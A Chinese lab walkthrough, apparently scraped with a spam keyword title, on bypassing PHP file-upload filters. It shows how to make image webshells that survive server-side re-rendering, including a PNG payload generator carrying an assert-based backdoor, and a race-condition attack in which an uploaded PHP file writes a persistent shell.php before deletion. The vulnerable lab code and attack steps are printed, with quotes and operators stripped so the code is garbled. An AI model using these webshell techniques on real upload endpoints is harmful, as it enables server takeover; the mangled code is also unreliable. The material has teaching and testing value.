网站板块怎么做,餐饮小程序开发,网站建设平台协议书,自我介绍面试模板一、图片马混淆绕过
1.上传gif
imagecreatefromxxxx函数把图片内容打散#xff0c;#xff0c;但是不会影响图片正常显示
$is_upload false;
$msg null;
if (isset($_POST[submit])){// 获得上传文件的基本信息#xff0c;文件名#xff0c;类型#xff0c;大小…一、图片马混淆绕过
1.上传gif
imagecreatefromxxxx函数把图片内容打散但是不会影响图片正常显示
$is_upload false;
$msg null;
if (isset($_POST[submit])){// 获得上传文件的基本信息文件名类型大小临时文件路径$filename $_FILES[upload_file][name];$filetype $_FILES[upload_file][type];$tmpname $_FILES[upload_file][tmp_name];$target_pathUPLOAD_PATH./.basename($filename);// 获得上传文件的扩展名$fileext substr(strrchr($filename,.),1);//判断文件后缀与类型合法才进行上传操作if(($fileext jpg) ($filetypeimage/jpeg)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromjpeg($target_path);if($im false){$msg 该文件不是jpg格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..jpg;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagejpeg($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else if(($fileext png) ($filetypeimage/png)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefrompng($target_path);if($im false){$msg 该文件不是png格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..png;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagepng($im,$img_path);unlink($target_path);$is_upload true; }} else {$msg 上传出错;}}else if(($fileext gif) ($filetypeimage/gif)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromgif($target_path);if($im false){$msg 该文件不是gif格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..gif;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagegif($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else{$msg 只允许上传后缀为.jpg|.png|.gif的图片文件;}
}
首先copy命令生成图片马 然后上传图片马到服务器保存返回后的图片
然后使用010editor比较哪些内容没有被混淆我们就可以把木马写在没有被混淆的内容里 然后直接文件包含包含图片内的php代码 2.上传png
这里可以使用脚本进行图片马制作里面的php代码基本不会被混淆
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,./1.png);
?
将图片放在该脚本下的同级目录运行后生成1.png
生成后查看内容发现有两个参数一个GET参数0一个POST参数1 那就0给到assert1给到phpinfo();成功包含 二、条件竞争
1.分析
条件竞争型的漏洞在很多漏洞中都有涉及在文件上传中造成这种漏洞的原因是代码中是先保存上传的文件在服务器上然后验证再删除的这就会造成攻击者可以利用文件被保存在服务器上与被删除的时间间隙来访问文件然后重新生成了一个新木马
我们可以直接上传一个有写功能的php文件然后bp抓包一直发包同时一直访问刚刚上传的php文件总有一次会成功生成一个新的木马
看代码片段可以发现文件是先保存在服务器上然后unlink函数删除的
if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,.)1);$upload_file UPLOAD_PATH . / . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}
}
先上传写功能木马然后抓包放到intruder里面随便找个数字 然后选持续发包 然后我们一直访问上传的php文件让它生成新的木马
?php fputs(fopen(../shell.php,w),?php phpinfo();?);?
成功后就会生成一个shell.php 直接访问